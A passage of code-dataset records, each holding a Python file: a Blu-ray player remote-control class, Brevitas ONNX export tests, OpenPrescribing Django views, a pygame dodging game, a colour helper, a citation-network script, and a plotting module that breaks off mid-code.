HOST\n \n headers = self.GetDeviceIdHeader()\n headers['soapaction'] = '\"urn:schemas-sony-com:service:IRCC:1#X_SendIRCC\"'\n headers['content-type'] = 'text/xml; charset=utf-8'\n\n body = BUTTON_POST_XML % BUTTON_TO_CODE[button]\n post_response = self.Send(url=url, headers=headers, body=body)\n # TODO: maybe log the response or something?\n\n def Register(self, digits=None):\n # NOTE: to register the \"token\" defined at the top of the file:\n # 0. Turn on the BluRay player and go to the home screen.\n # 1. Call this method once without the \"digits\" param.\n # (E.g. in a \"python -i\" interactive session.)\n # 2. On the tv, a dialog will pop up including a 4-digit code.\n # 3. Call this method a second time, with that 4-digit code provided\n # as the \"digits\" param.\n url = 'http://%s:50002/register' % HOST\n headers = {}\n if digits is not None:\n encoded = base64.b64encode((':%s' % digits).encode()).decode()\n headers['Authorization'] = 'Basic %s' % encoded\n return self.Send(url=url, params=REGISTER_PARAMS, headers=headers)\n \n def System(self, method, params, v='1.0'):\n params = {\n 'method' : method,\n 'params' : params,\n 'id' : 1,\n 'version' : v,\n }\n url = 'http://%s:10000/sony/system' % HOST\n response = self.Send(url, json=params)\n return json.loads(response.text)\n \n def PowerOn(self):\n params = [ { 'status' : 'active', 'standbyDetail' : '', } ]\n return self.System('setPowerStatus', params, '1.1')\n\n def GetStatus(self):\n # TODO: add a background thread to check status periodically,\n # save status in a data member, add a DoPeriodic response\n # (at least including power state if nothing else)\n headers = self.GetDeviceIdHeader()\n url = 'http://%s:50002/getStatus' % HOST\n try:\n return self.Send(url=url, headers=headers)\n except requests.exceptions.ConnectionError:\n return None\n\n def index(self, button=None):\n if button == 'poweron':\n self.PowerOn()\n if button is not None:\n self.PressButton(button)\n # TODO: return some status?\n\n\nif __name__ == '__main__':\n b = BluRay()\n\n","sub_path":"shared/hrcserver/components/bluray/bluray.py","file_name":"bluray.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493750908","text":"from operator import mul\nfrom functools import reduce\n\nimport torch\nimport onnxruntime as rt\nimport numpy as np\n\nfrom brevitas.nn import QuantConv2d, QuantLinear, QuantIdentity, QuantMaxPool2d\nfrom brevitas.quant.shifted_scaled_int import ShiftedUint8ActPerTensorFloat\nfrom brevitas.quant.shifted_scaled_int import ShiftedUint8WeightPerTensorFloat\nfrom brevitas.export import export_standard_qop_onnx\n\nfrom tests.marker import requires_pt_ge\n\n\nOUT_CH = 40\nIN_CH = 50\nTOLERANCE = 1.1\n\n\ndef gen_linspaced_data(num_samples, min_val=-1.0, max_val=1.0):\n return np.linspace(min_val, max_val, num_samples).astype(dtype=np.float32)\n\n\ndef compute_ort(export_name, np_input):\n sess = rt.InferenceSession(export_name)\n input_name = sess.get_inputs()[0].name\n pred_onx = sess.run(None, {input_name: np_input})[0]\n return pred_onx\n\n\ndef is_brevitas_ort_close(model, np_input, export_name, atol=None):\n export_standard_qop_onnx(model, input_shape=np_input.shape, export_path=export_name)\n brevitas_output = model(torch.from_numpy(np_input))\n ort_output = compute_ort(export_name, np_input)\n ort_output = torch.from_numpy(ort_output)\n assert (ort_output != 0.0).any()\n if atol is not None:\n return brevitas_output.isclose(ort_output, rtol=0.0, atol=atol).all()\n else:\n return brevitas_output.isclose(ort_output).all()\n\n\ndef test_standard_onnx_quant_conv():\n FEATURES = 7\n IN_SIZE = (1, IN_CH, FEATURES, FEATURES)\n KERNEL_SIZE = 3\n\n class Model(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n self.conv1 = QuantConv2d(\n out_channels=OUT_CH,\n in_channels=IN_CH,\n kernel_size=KERNEL_SIZE,\n bias=False,\n weight_quant=ShiftedUint8WeightPerTensorFloat,\n input_quant=ShiftedUint8ActPerTensorFloat,\n output_quant=ShiftedUint8ActPerTensorFloat,\n return_quant_tensor=False)\n self.conv1.weight.data.uniform_(-1.0, 1.0)\n\n def forward(self, x):\n return self.conv1(x)\n\n export_name = 'qlinearconv.onnx'\n inp = gen_linspaced_data(reduce(mul, IN_SIZE), -1, 1).reshape(IN_SIZE)\n model = Model()\n model(torch.from_numpy(inp)) # accumulate scale factors\n model.eval()\n atol = model.conv1.quant_output_scale().item() * TOLERANCE\n assert is_brevitas_ort_close(model, inp, export_name, atol=atol)\n\n\ndef test_standard_onnx_quant_identity_export():\n IN_SIZE = (1, OUT_CH, IN_CH, IN_CH)\n\n class Model(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n self.act = QuantIdentity(return_quant_tensor=False)\n\n def forward(self, x):\n return self.act(x)\n\n export_name = 'standard_identity.onnx'\n inp = gen_linspaced_data(reduce(mul, IN_SIZE)).reshape(IN_SIZE)\n model = Model()\n model(torch.from_numpy(inp)) # accumulate scale factors\n model.eval()\n atol = model.act.quant_output_scale().item() * TOLERANCE\n assert is_brevitas_ort_close(model, inp, export_name, atol=atol)\n\n\ndef test_standard_onnx_quant_max_pool_export():\n IN_SIZE = (1, OUT_CH, IN_CH, IN_CH)\n\n class Model(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n self.act = QuantIdentity(return_quant_tensor=True)\n self.pool = QuantMaxPool2d(kernel_size=2, return_quant_tensor=False)\n\n def forward(self, x):\n return self.pool(self.act(x))\n\n export_name = 'standard_maxpool.onnx'\n inp = gen_linspaced_data(reduce(mul, IN_SIZE)).reshape(IN_SIZE)\n model = Model()\n model(torch.from_numpy(inp)) # accumulate scale factors\n model.eval()\n atol = model.act.quant_output_scale().item() * TOLERANCE\n assert is_brevitas_ort_close(model, inp, export_name, atol=atol)\n\n\ndef test_standard_onnx_quant_linear_export():\n IN_SIZE = (IN_CH, IN_CH)\n\n class Model(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n self.linear = QuantLinear(\n in_features=IN_CH,\n out_features=OUT_CH,\n bias=False,\n weight_quant=ShiftedUint8WeightPerTensorFloat,\n input_quant=ShiftedUint8ActPerTensorFloat,\n output_quant=ShiftedUint8ActPerTensorFloat,\n return_quant_tensor=False)\n self.linear.weight.data.uniform_(-0.01, 0.01)\n\n def forward(self, x):\n return self.linear(x)\n\n export_name = 'standard_quant_linear.onnx'\n inp = gen_linspaced_data(reduce(mul, IN_SIZE)).reshape(IN_SIZE)\n model = Model()\n model(torch.from_numpy(inp)) # accumulate scale factors\n model.eval()\n atol = model.linear.quant_output_scale().item() * TOLERANCE\n assert is_brevitas_ort_close(model, inp, export_name, atol=atol)\n\n\n@requires_pt_ge('1.5.0')\ndef test_functional_max_pool_export():\n IN_SIZE = (1, OUT_CH, IN_CH, IN_CH)\n\n class Model(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n self.act1 = QuantIdentity(return_quant_tensor=True)\n self.act2 = QuantIdentity(return_quant_tensor=False)\n\n def forward(self, x):\n x = self.act1(x)\n x = torch.nn.functional.max_pool2d(x, kernel_size=2)\n x = self.act2(x)\n x = torch.nn.functional.max_pool2d(x, kernel_size=2)\n return x\n\n export_name = 'stdonnx_F_max_pool2d.onnx'\n inp = gen_linspaced_data(reduce(mul, IN_SIZE)).reshape(IN_SIZE)\n model = Model()\n model(torch.from_numpy(inp)) # accumulate scale factors\n model.eval()\n atol = model.act2.quant_output_scale().item() * TOLERANCE\n assert is_brevitas_ort_close(model, inp, export_name, atol=atol)\n","sub_path":"tests/brevitas_ort/test_onnx_standard.py","file_name":"test_onnx_standard.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"607682479","text":"from lxml import html\nimport requests\nfrom urllib import urlencode\nfrom urlparse import urlparse, urlunparse\nimport sys\n\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import BACKEND_SESSION_KEY\nfrom django.contrib.auth import HASH_SESSION_KEY\nfrom django.contrib.auth import SESSION_KEY\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse\nfrom django.db import IntegrityError\nfrom django.http import Http404\nfrom django.http import HttpResponse\nfrom django.http.response import HttpResponseRedirect\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils.safestring import mark_safe\n\nfrom allauth.account import app_settings\nfrom allauth.account.models import EmailAddress\nfrom allauth.account.utils import perform_login\n\nfrom common.utils import valid_date\nfrom dmd.models import DMDProduct\nfrom frontend.forms import OrgBookmarkForm\nfrom frontend.forms import SearchBookmarkForm\nfrom frontend.models import Chemical\nfrom frontend.models import ImportLog\nfrom frontend.models import Measure\nfrom frontend.models import OrgBookmark\nfrom frontend.models import Practice, PCT, Section\nfrom frontend.models import Presentation\nfrom frontend.models import SearchBookmark\n\n\n##################################################\n# BNF SECTIONS\n##################################################\ndef all_bnf(request):\n sections = Section.objects.filter(is_current=True)\n context = {\n 'sections': sections\n }\n return render(request, 'all_bnf.html', context)\n\n\ndef bnf_section(request, section_id):\n section = get_object_or_404(Section, bnf_id=section_id)\n id_len = len(section_id)\n bnf_chapter = None\n bnf_section = None\n try:\n if id_len > 2:\n bnf_chapter = Section.objects.get(bnf_id=section_id[:2])\n if id_len > 4:\n bnf_section = Section.objects.get(bnf_id=section_id[:4])\n except Section.DoesNotExist:\n pass\n chemicals = None\n subsections = Section.objects.filter(\n bnf_id__startswith=section_id,\n is_current=True\n ).extra(\n where=[\"CHAR_LENGTH(bnf_id)=%s\" % (id_len + 2)])\n if not subsections:\n chemicals = Chemical.objects.filter(\n bnf_code__startswith=section_id,\n is_current=True\n ).order_by('chem_name')\n context = {\n 'section': section,\n 'bnf_chapter': bnf_chapter,\n 'bnf_section': bnf_section,\n 'subsections': subsections,\n 'chemicals': chemicals,\n 'page_id': section_id\n }\n return render(request, 'bnf_section.html', context)\n\n\n##################################################\n# CHEMICALS\n##################################################\n\ndef all_chemicals(request):\n chemicals = Chemical.objects.filter(\n is_current=True\n ).order_by('bnf_code')\n context = {\n 'chemicals': chemicals\n }\n return render(request, 'all_chemicals.html', context)\n\n\ndef chemical(request, bnf_code):\n c = get_object_or_404(Chemical, bnf_code=bnf_code)\n\n # Get BNF chapter, section etc.\n bnf_chapter = Section.objects.get(bnf_id=bnf_code[:2])\n bnf_section = Section.objects.get(bnf_id=bnf_code[:4])\n try:\n bnf_para = Section.objects.get(bnf_id=bnf_code[:6])\n except Section.DoesNotExist:\n bnf_para = None\n\n context = {\n 'page_id': bnf_code,\n 'chemical': c,\n 'bnf_chapter': bnf_chapter,\n 'bnf_section': bnf_section,\n 'bnf_para': bnf_para\n }\n return render(request, 'chemical.html', context)\n\n\n##################################################\n# Price per unit\n##################################################\ndef price_per_unit_by_presentation(request, entity_code, bnf_code):\n date = request.GET.get('date', None)\n if date:\n date = valid_date(date)\n else:\n date = ImportLog.objects.latest_in_category('ppu').current_at\n presentation = get_object_or_404(Presentation, pk=bnf_code)\n product = presentation.dmd_product\n if len(entity_code) == 3:\n entity = get_object_or_404(PCT, code=entity_code)\n elif len(entity_code) == 6:\n entity = get_object_or_404(Practice, code=entity_code)\n\n query = {\n 'format': 'json',\n 'bnf_code': presentation.bnf_code,\n 'highlight': entity.code,\n 'date': date.strftime('%Y-%m-%d'),\n }\n\n if 'trim' in request.GET:\n query['trim'] = request.GET['trim']\n\n querystring = urlencode(query)\n\n parsed_url = urlparse(settings.API_HOST)\n\n bubble_data_url = urlunparse((\n parsed_url.scheme, # scheme\n parsed_url.netloc, # host\n '/api/1.0/bubble/', # path\n '', # params\n querystring, # query\n '', # fragment\n ))\n\n context = {\n 'entity': entity,\n 'highlight': entity.code,\n 'highlight_name': entity.cased_name,\n 'name': presentation.product_name,\n 'bnf_code': presentation.bnf_code,\n 'presentation': presentation,\n 'product': product,\n 'date': date,\n 'by_presentation': True,\n 'bubble_data_url': bubble_data_url,\n }\n return render(request, 'price_per_unit.html', context)\n\n\n##################################################\n# GP PRACTICES\n##################################################\n\ndef all_practices(request):\n practices = Practice.objects.filter(setting=4).order_by('name')\n context = {\n 'practices': practices\n }\n return render(request, 'all_practices.html', context)\n\n\ndef _specified_or_last_date(request, category):\n date = request.GET.get('date', None)\n if date:\n date = valid_date(date)\n else:\n date = ImportLog.objects.latest_in_category(category).current_at\n return date\n\n\ndef practice_price_per_unit(request, code):\n date = _specified_or_last_date(request, 'ppu')\n practice = get_object_or_404(Practice, code=code)\n context = {\n 'entity': practice,\n 'highlight': practice.code,\n 'highlight_name': practice.cased_name,\n 'date': date,\n 'by_practice': True\n }\n return render(request, 'price_per_unit.html', context)\n\n\n##################################################\n# CCGs\n##################################################\n\ndef all_ccgs(request):\n ccgs = PCT.objects.filter(\n close_date__isnull=True, org_type=\"CCG\").order_by('name')\n context = {\n 'ccgs': ccgs\n }\n return render(request, 'all_ccgs.html', context)\n\n\ndef ccg_price_per_unit(request, code):\n date = _specified_or_last_date(request, 'ppu')\n ccg = get_object_or_404(PCT, code=code)\n context = {\n 'entity': ccg,\n 'highlight': ccg.code,\n 'highlight_name': ccg.cased_name,\n 'date': date,\n 'by_ccg': True\n }\n return render(request, 'price_per_unit.html', context)\n\n\n##################################################\n# MEASURES\n# These replace old CCG and practice dashboards.\n##################################################\n\ndef all_measures(request):\n tags = request.GET.get('tags', '')\n query = {}\n if tags:\n query['tags__overlap'] = tags.split(',')\n measures = Measure.objects.filter(**query).order_by('name')\n context = {\n 'measures': measures\n }\n return render(request, 'all_measures.html', context)\n\n\ndef measure_for_all_ccgs(request, measure):\n measure = get_object_or_404(Measure, id=measure)\n context = {\n 'measure': measure\n }\n return render(request, 'measure_for_all_ccgs.html', context)\n\n\ndef measure_for_practices_in_ccg(request, ccg_code, measure):\n requested_ccg = get_object_or_404(PCT, code=ccg_code)\n measure = get_object_or_404(Measure, id=measure)\n practices = Practice.objects.filter(ccg=requested_ccg)\\\n .filter(setting=4).order_by('name')\n context = {\n 'ccg': requested_ccg,\n 'practices': practices,\n 'page_id': ccg_code,\n 'measure': measure\n }\n return render(request, 'measure_for_practices_in_ccg.html', context)\n\n\ndef measures_for_one_ccg(request, ccg_code):\n requested_ccg = get_object_or_404(PCT, code=ccg_code.upper())\n if request.method == 'POST':\n form = _handleCreateBookmark(\n request,\n OrgBookmark,\n OrgBookmarkForm,\n 'pct')\n if isinstance(form, HttpResponseRedirect):\n return form\n else:\n form = OrgBookmarkForm(\n initial={'pct': requested_ccg.pk,\n 'email': getattr(request.user, 'email', '')})\n if request.user.is_authenticated():\n signed_up_for_alert = request.user.orgbookmark_set.filter(\n pct=requested_ccg)\n else:\n signed_up_for_alert = False\n practices = Practice.objects.filter(\n ccg=requested_ccg).filter(\n setting=4).order_by('name')\n alert_preview_action = reverse(\n 'preview-ccg-bookmark', args=[requested_ccg.code])\n context = {\n 'alert_preview_action': alert_preview_action,\n 'ccg': requested_ccg,\n 'practices': practices,\n 'page_id': ccg_code,\n 'form': form,\n 'signed_up_for_alert': signed_up_for_alert\n }\n return render(request, 'measures_for_one_ccg.html', context)\n\n\ndef measure_for_one_ccg(request, measure, ccg_code):\n ccg = get_object_or_404(PCT, code=ccg_code)\n measure = get_object_or_404(Measure, pk=measure)\n context = {\n 'ccg': ccg,\n 'measure': measure,\n 'current_at': ImportLog.objects.latest_in_category(\n 'prescribing').current_at\n }\n return render(request, 'measure_for_one_ccg.html', context)\n\n\ndef measure_for_one_practice(request, measure, practice_code):\n practice = get_object_or_404(Practice, code=practice_code)\n measure = get_object_or_404(Measure, pk=measure)\n context = {\n 'practice': practice,\n 'measure': measure,\n 'current_at': ImportLog.objects.latest_in_category(\n 'prescribing').current_at\n }\n return render(request, 'measure_for_one_practice.html', context)\n\n\ndef last_bookmark(request):\n \"\"\"Redirect the logged in user to the CCG they last bookmarked, or if\n they're not logged in, just go straight to the homepage -- both\n with a message.\n\n \"\"\"\n if request.user.is_authenticated():\n try:\n last_bookmark = request.user.profile.most_recent_bookmark()\n next_url = last_bookmark.dashboard_url()\n messages.success(\n request,\n mark_safe(\"Thanks, you're now subscribed to monthly \"\n \"alerts about %s!\" % last_bookmark.topic()))\n except AttributeError:\n next_url = 'home'\n messages.success(\n request,\n \"Your account is activated, but you are not subscribed \"\n \"to any monthly alerts!\")\n return redirect(next_url)\n else:\n messages.success(\n request, \"Thanks, you're now subscribed to monthly alerts!\")\n return redirect('home')\n\n\ndef analyse(request):\n if request.method == 'POST':\n form = _handleCreateBookmark(\n request,\n SearchBookmark,\n SearchBookmarkForm,\n 'url', 'name'\n )\n if isinstance(form, HttpResponseRedirect):\n return form\n else:\n # Note that the (hidden) URL field is filled via javascript on\n # page load (see `alertForm` in `chart.js`)\n form = SearchBookmarkForm(\n initial={'email': getattr(request.user, 'email', '')})\n alert_preview_action = reverse('preview-analyse-bookmark')\n context = {\n 'alert_preview_action': alert_preview_action,\n 'form': form\n }\n return render(request, 'analyse.html', context)\n\n\ndef _handleCreateBookmark(request, subject_class,\n subject_form_class,\n *subject_field_ids):\n form = subject_form_class(request.POST)\n if form.is_valid():\n email = form.cleaned_data['email']\n try:\n user = User.objects.create_user(\n username=email, email=email)\n except IntegrityError:\n user = User.objects.get(username=email)\n user = authenticate(key=user.profile.key)\n kwargs = {\n 'user': user\n }\n for field in subject_field_ids:\n kwargs[field] = form.cleaned_data[field]\n # An unverified account can only create unapproved bookmarks.\n # When an account is verified, all its bookmarks are\n # approved. Whenever someone tries to add a bookmark for\n # someone else's email address (or they're not logged in),\n # that email address is marked as unverified again. In this\n # way we can allow people who remain logged in to add several\n # alerts without having to reconfirm by email.\n emailaddress = EmailAddress.objects.filter(user=user)\n if user == request.user:\n kwargs['approved'] = emailaddress.filter(verified=True).exists()\n else:\n kwargs['approved'] = False\n emailaddress.update(verified=False)\n subject_class.objects.get_or_create(**kwargs)\n if hasattr(request, 'user'):\n # Log the user out. We don't use Django's built-in logout\n # mechanism because that clears the entire session, too,\n # and we want to know if someone's logged in previously in\n # this session.\n request.user = AnonymousUser()\n for k in [SESSION_KEY, BACKEND_SESSION_KEY, HASH_SESSION_KEY]:\n if k in request.session:\n del(request.session[k])\n return perform_login(\n request, user,\n app_settings.EmailVerificationMethod.MANDATORY,\n signup=True)\n return form\n\n\ndef measures_for_one_practice(request, code):\n p = get_object_or_404(Practice, code=code)\n if request.method == 'POST':\n form = _handleCreateBookmark(\n request,\n OrgBookmark,\n OrgBookmarkForm,\n 'practice')\n if isinstance(form, HttpResponseRedirect):\n return form\n else:\n form = OrgBookmarkForm(\n initial={'practice': p.pk,\n 'email': getattr(request.user, 'email', '')})\n if request.user.is_authenticated():\n signed_up_for_alert = request.user.orgbookmark_set.filter(\n practice=p)\n else:\n signed_up_for_alert = False\n alert_preview_action = reverse('preview-practice-bookmark', args=[p.code])\n context = {\n 'practice': p,\n 'alert_preview_action': alert_preview_action,\n 'page_id': code,\n 'form': form,\n 'signed_up_for_alert': signed_up_for_alert\n }\n return render(request, 'measures_for_one_practice.html', context)\n\n\ndef gdoc_view(request, doc_id):\n try:\n gdoc_id = settings.GDOC_DOCS[doc_id]\n except KeyError:\n raise Http404(\"No doc named %s\" % doc_id)\n url = 'https://docs.google.com/document/d/%s/pub?embedded=true' % gdoc_id\n page = requests.get(url)\n tree = html.fromstring(page.text)\n\n content = ''\n content += ''.join(\n [html.tostring(child)\n for child in tree.body])\n context = {\n 'content': content\n }\n return render(request, 'gdoc.html', context)\n\n\ndef tariff(request, code=None):\n products = DMDProduct.objects.filter(\n tariffprice__isnull=False,\n bnf_code__isnull=False\n ).distinct().order_by('name')\n codes = []\n if code:\n codes = [code]\n if 'codes' in request.GET:\n codes.extend(request.GET.getlist('codes'))\n if codes:\n presentations = Presentation.objects.filter(bnf_code__in=codes)\n else:\n presentations = []\n context = {\n 'bnf_codes': codes,\n 'presentations': presentations,\n 'products': products,\n 'chart_title': 'Tariff prices for ' + ', '.join(\n [x.product_name for x in presentations])\n }\n return render(request, 'tariff.html', context)\n\n\n##################################################\n# Custom HTTP errors\n##################################################\ndef custom_500(request):\n type_, value, traceback = sys.exc_info()\n context = {}\n if 'canceling statement due to statement timeout' in value.message:\n context['reason'] = (\"The database took too long to respond. If you \"\n \"were running an analysis with multiple codes, \"\n \"try again with fewer.\")\n if (request.META.get('HTTP_ACCEPT', '').find('application/json') > -1 or\n request.is_ajax()):\n return HttpResponse(context['reason'], status=500)\n else:\n return render(request, '500.html', context, status=500)\n","sub_path":"openprescribing/frontend/views/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196531131","text":"# 똥 피하기 게임 만들기\r\n\r\n# [게임 조건]\r\n# 1. 캐릭터는 화면 가장 아래에 위치, 좌우로만 이동 가능\r\n# 2. 똥은 화면 가장 위에서 떨어짐. x 좌표는 매번 랜덤으로 설정\r\n# 3. 캐릭터가 똥을 피하면 다음 똥이 다시 떨어짐\r\n# 4. 캐릭터가 똥과 충돌하면 게임 종료\r\n# 5. FPS는 30으로 고정\r\n\r\n# MAKE THE MOVEMENT SMOOTHER\r\n\r\nimport pygame\r\nfrom random import randint\r\n\r\npygame.init()\r\n\r\n# Class definition\r\nclass Character:\r\n def __init__(self, sprite, x = 0, y = 0):\r\n self.x = x\r\n self.y = y\r\n self.sprite = sprite\r\n self.speed = 0.3\r\n size = sprite.get_rect().size\r\n self.width = size[0]\r\n self.height = size[1]\r\n \r\n def move(self, direction, dt):\r\n if direction == \"L\":\r\n self.x -= self.speed * dt\r\n elif direction == \"R\":\r\n self.x += self.speed * dt\r\n elif direction == \"D\":\r\n self.y += self.speed * dt\r\n elif direction == \"N\":\r\n self.x += 0\r\n\r\n def set_coordinate(self, x = None, y = None):\r\n if x != None:\r\n self.x = x\r\n if y != None:\r\n self.y = y\r\n\r\n# Screen setup\r\nscreen_width = 480\r\nscreen_height = 640\r\nscreen = pygame.display.set_mode((screen_width, screen_height))\r\n\r\nbackground = pygame.image.load(\"PyGame_Basic\\\\background.png\")\r\n\r\n# Title\r\npygame.display.set_caption(\"똥 피하기\")\r\n\r\n# FPS\r\nclock = pygame.time.Clock()\r\n\r\nmain_character = Character(pygame.image.load(\"PyGame_Basic\\\\character.png\"))\r\n\r\nmain_character.set_coordinate((screen_width / 2 - main_character.width / 2), (screen_height - main_character.height))\r\n\r\npoop = Character(pygame.image.load(\"PyGame_Basic\\\\enemy.png\"))\r\npoop.set_coordinate(randint(0, screen_width - poop.width), 0 - poop.height)\r\n\r\n# direction declaration has to be done outside of the loop\r\n# otherwise, when key held down, it will reassign the initial value \r\n# and thus stop the wanted continuous mvt\r\ndirection = \"N\"\r\nrunning = True\r\n\r\nL_UP = R_UP = True\r\nwhile(running): \r\n dt = clock.tick(30) # FPS set to 30\r\n\r\n for event in pygame.event.get():\r\n # if closed, game should stop\r\n if event.type == pygame.QUIT:\r\n running = False\r\n\r\n # if key down for character's movement\r\n # this only checks the very instant event happens aka doesn't account for when key held down\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n direction = \"L\"\r\n L_UP = False\r\n elif event.key == pygame.K_RIGHT:\r\n direction = \"R\"\r\n R_UP = False\r\n\r\n # if key up to stop character's movement\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT:\r\n direction = \"N\"\r\n L_UP = True\r\n # if R key still pressed\r\n if not R_UP:\r\n direction = \"R\"\r\n elif event.key == pygame.K_RIGHT:\r\n direction = \"N\"\r\n R_UP = True\r\n # if L key still pressed\r\n if not L_UP:\r\n direction = \"L\"\r\n\r\n # move the characters\r\n main_character.move(direction, dt)\r\n poop.move(\"D\", dt)\r\n\r\n # movement control\r\n if main_character.x < 0:\r\n main_character.set_coordinate(0)\r\n elif main_character.x > screen_width - main_character.width:\r\n main_character.set_coordinate(screen_width - main_character.width)\r\n\r\n if main_character.y < 0:\r\n main_character.set_coordinate(y = 0)\r\n elif main_character.y > screen_height - main_character.height:\r\n main_character.set_coordinate(y = screen_height - main_character.height)\r\n\r\n if poop.y > screen_height:\r\n poop.set_coordinate(randint(0, screen_width - poop.width), 0 - poop.height)\r\n \r\n # Collision Control\r\n main_character_rect = main_character.sprite.get_rect()\r\n main_character_rect.left = main_character.x\r\n main_character_rect.top = main_character.y\r\n\r\n poop_rect = poop.sprite.get_rect()\r\n poop_rect.left = poop.x\r\n poop_rect.top = poop.y\r\n\r\n if main_character_rect.colliderect(poop_rect):\r\n print(\"떨어지는 똥 맞음\")\r\n running = False\r\n\r\n # Draw the elements in\r\n screen.blit(background, (0,0))\r\n screen.blit(main_character.sprite, (main_character.x, main_character.y))\r\n screen.blit(poop.sprite, (poop.x, poop.y))\r\n\r\n pygame.display.update()\r\n\r\npygame.quit()","sub_path":"PyGame_Basic/Quiz.py","file_name":"Quiz.py","file_ext":"py","file_size_in_byte":4533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"427454495","text":"# Colors\nRED = '\\033[91m'\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nBLUE = '\\033[94m'\nPURPLE = '\\033[95m'\nTEAL = '\\033[96m'\n\n# No Color\nEND = '\\033[0m'\n\ndef printc(color, message):\n print (color + message + END)\n","sub_path":"TicTacToe/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"198951192","text":"import metaknowledge as mk\nimport networkx as Nx\nimport os\nos.chdir(\"/Users/Yanish/Documents/Fall_2015/Integ_475/final/Integ475Final\")\n\nRC = mk.RecordCollection (\"data/\")\ncoAuth = RC.coAuthNetwork()\nNet = RC.coCiteNetwork()\nDat = RC.writeCSV(fname = \"data/dat.csv\")\n\nNet=mk.drop_edges(Net, minWeight=3)\nNx.write_graphml(Net, \"networks/net.graphml\")\n","sub_path":"code/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"477161987","text":"\"\"\"\nA module that stores all the scalars-related plotting tools.\n\"\"\"\nimport logging\nimport os\n\nimport numpy as np\n\nfrom fbd_core.db import get_ages, get_modeled_locations\nfrom fbd_core.demog.construct import get_gbd_demographics\n\nimport matplotlib as mpl\nmpl.use('Agg')\nimport seaborn as sns\nimport matplotlib.gridspec as gridspec\nfrom matplotlib.backends.backend_pdf import PdfPages\nimport matplotlib.pyplot as plt\n\n\n__modname__ = \"fbd_research.scalars.plot_tools\"\nlogger = logging.getLogger(__modname__)\n\n\n# TODO this needs to be refactored, and possibly moved to fbd_core\n\n\ndef plot_scalars(scalar_ds, acause, sex_id, location_ids, scenario, date,\n outdir, start_age_group_id=10, end_age_group_id=22):\n ''' Plot scalars with uncertainties.\n\n Parameters\n ----------\n scalar_ds: scalar in xarray.Dataset format.\n acause: str\n sex_id: int, 1 or 2\n location_ids: list\n scenario: -1 or 0 or 1\n date: date to version-control plots\n outdir: output directory\n start_age_group_id: int, default 10\n end_age_group_id: int, default 22\n '''\n outfile = os.path.join(outdir.format(d=date),\n '{}_{}.pdf'.format(acause, scenario))\n if not os.path.exists(os.path.dirname(outfile)):\n os.makedirs(os.path.dirname(outfile))\n\n ds = scalar_ds.loc[{'scenario': scenario, 'sex_id': sex_id}]\n # Calculate statistics.\n ds['mean'] = ds['value'].mean(dim='draw')\n ds['lower'] = ds['value'].quantile(0.025, dim='draw')\n ds['upper'] = ds['value'].quantile(0.975, dim='draw')\n\n age_map = get_ages().set_index('age_group_id')['age_group_name'].to_dict()\n\n with PdfPages(outfile) as pp:\n for location_id in location_ids:\n loc_ds = ds.loc[{\"location_id\": location_id}]\n nrow = 4\n ncol = 3\n fig = plt.figure(figsize=(12, 10))\n grid = gridspec.GridSpec(nrow, ncol)\n\n for ix, age_group_id in enumerate(xrange(start_age_group_id,\n end_age_group_id)):\n ax = fig.add_subplot(grid[ix])\n age_ds = loc_ds.loc[{\"age_group_id\": age_group_id}]\n ax.plot(age_ds['year_id'], age_ds['mean'])\n ax.fill_between(age_ds['year_id'], age_ds['lower'],\n age_ds['upper'])\n ax.text(0.7, 0.95, age_map[age_group_id],\n verticalalignment='top',\n horizontalalignment='left', transform=ax.transAxes,\n color='black', fontsize=12)\n\n location_map = get_modeled_locations().\\\n set_index('location_id')['location_name'].to_dict()\n location = location_map[location_id]\n suptitle = \"{location}, {acause}; Scenario: {scenario}\".format(\n location=location, acause=acause, scenario=scenario)\n fig.suptitle(suptitle, fontsize=15)\n pp.savefig(bbox_inches='tight')\n logger.info('Scalars plotting finished: {}'.format(acause))\n\n\ndef plot_paf(df, acause, risk, date, paf_cols, demography_cols):\n ''' Plot cause specific scalars.'''\n\n age_map = get_ages().\\\n set_index('age_group_id')['age_group_name'].to_dict()\n location_map = get_modeled_locations().\\\n set_index('location_id')['location_name'].to_dict()\n\n df['mean'] = np.mean(df.loc[:, paf_cols].values, axis=1)\n df['lower'] = np.percentile(df.loc[:, paf_cols].values, 2.5, axis=1)\n df['upper'] = np.percentile(df.loc[:, paf_cols].values, 97.5, axis=1)\n df = df[demography_cols + ['mean', 'lower', 'upper']]\n df = df.loc[df.scenario == 0]\n\n outfile = ('/ihme/forecasting/data/paf/{date}/plots/'\n '{acause}_{risk}_2.pdf'.format(date=date,\n risk=risk,\n acause=acause))\n\n if not os.path.exists(os.path.dirname(outfile)):\n os.makedirs(os.path.dirname(outfile))\n\n location_ids = get_gbd_demographics().location_id.unique()\n\n with PdfPages(outfile) as pp:\n for location_id in location_ids: # [6, 102]\n test = df.loc[df.location_id == location_id]\n nrow = 4\n ncol = 3\n fig = plt.figure(figsize=(12, 10))\n grid = gridspec.GridSpec(nrow, ncol)\n\n for 